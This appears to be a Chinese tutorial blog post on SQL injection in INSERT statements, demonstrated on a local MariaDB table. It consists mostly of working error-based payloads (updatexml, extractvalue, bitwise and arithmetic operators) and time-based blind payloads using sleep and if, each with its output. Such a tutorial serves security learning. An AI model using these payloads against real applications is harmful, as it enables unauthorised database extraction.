[sql 注入] insert 报错注入与延时盲注

insert注入的技巧在于如何在一个字段值内构造闭合。

insert 报错注入

演示案例所用的表：

MariaDB [mysql]> desc test;
+--------+----------+------+-----+---------+-------+
| Field  | Type     | Null | Key | Default | Extra |
+--------+----------+------+-----+---------+-------+
| id     | int(10)  | YES  |     | NULL    |       |
| uname  | char(10) | YES  |     | NULL    |       |
| passwd | char(10) | YES  |     | NULL    |       |
+--------+----------+------+-----+---------+-------+

0x01: insert数字型报错注入

MariaDB [mysql]> insert into test values(1 and updatexml(1,concat(0x7e,database(),0x7e),1),'2','3');
ERROR 1105 (HY000): XPATH syntax error: '~mysql~'

0x02: insert字符型报错注入

提示：字符型的关键在于如何在一个字段值内构造闭合。

MariaDB [mysql]> insert into test values(1,'2' and updatexml(1,concat(0x7e,database(),0x7e),1)  and '','3');
ERROR 1105 (HY000): XPATH syntax error: '~mysql~'

0x03: 用extractvalue代替updatexml

MariaDB [mysql]> insert into test values(1,'2' and extractvalue(1,concat(0x7e,database()))  and '','3');
ERROR 1105 (HY000): XPATH syntax error: '~mysql'

0x04: 使用按位运算符制造insert数字型报错注入

产生报错是因为1和(select database())的值做按位运算，但是字符不能做按位运算，所以会报错提示哪个值类型错误。"& , | , ^"运算同理。

按位运算详情请参考此链接

MariaDB [mysql]> insert into test values(1 ^ (select database()),'2','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'

MariaDB [mysql]> insert into test values(1 | (select database()),'2','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'

MariaDB [mysql]> insert into test values(1 & (select database()),'2','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'

0x05: 使用按位运算符制造insert字符型报错注入

insert into test values(1,'1' & (select database()) & '','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'

0x06: 使用算术运算符制造insert报错注入（+，-，%，/），灵活运用按位运算符,逻辑运算符,算术运算符。

MariaDB [mysql]> insert into test values(1,'1' + (select database()) & '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'

MariaDB [mysql]> insert into test values(1,'1' - (select database()) and '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'

MariaDB [mysql]> insert into test values(1,'1' / (select database()) or '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'

MariaDB [mysql]> insert into test values(1,'1' % (select database()) & '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'

MariaDB [mysql]> insert into test values(1,'1' % (select database()) | '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'

MariaDB [mysql]> insert into test values(1,'1' % (select database()) / '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'

insert延时盲注

在学习延时盲注之前你需要具备sql（sleep(),if(),substr(),ascii(),case when）的用法。

0x07： 一个简单示例

原始正常语句：
MariaDB [mysql]> insert into test values(1,('2'),'3');
Query OK, 1 row affected (0.005 sec)

MariaDB [mysql]> insert into test values(1,('1') and sleep(3) and (''),'3');
Query OK, 1 row affected, 1 warning (3.002 sec)

0x08: 猜测当前所在库的名称长度，如果数据库长度等于5则延时3秒输出内容。

MariaDB [mysql]> insert into test values(1,('1') and sleep(if((select length(database()))=5,3,0)) and (''),'3');
Query OK, 1 row affected, 1 warning (3.007 sec)

0x09: 猜测当前库的第一个表名的第一个字符的ascii码。慢慢去理解，慢就是快。

实际的值：
MariaDB [mysql]> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1));
+---------------------------------------------------------------------------------------------------------------+
| ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) |
+---------------------------------------------------------------------------------------------------------------+
|                                                                                                           112 |
+---------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)

insert盲注如下所示：
MariaDB [mysql]> insert into test values(1,('1') and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=112,3,0)) and (''),'3');
Query OK, 1 row affected, 1 warning (3.005 sec)

0x10: 用case then代替if():

MariaDB [mysql]> insert into test values(1,('2') and case when (select length(database())) = 5 then sleep(2) else 0 end and (''),'3');
Query OK, 1 row affected, 1 warning (2.002 sec)

MariaDB [mysql]> insert into test values(1,('2') and case when ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 112 then sleep(2) else 0 end and (''),'3');
Query OK, 1 row affected, 1 warning (2.004 sec)

掌握以上内容insert报错注入与盲注就基本差不多了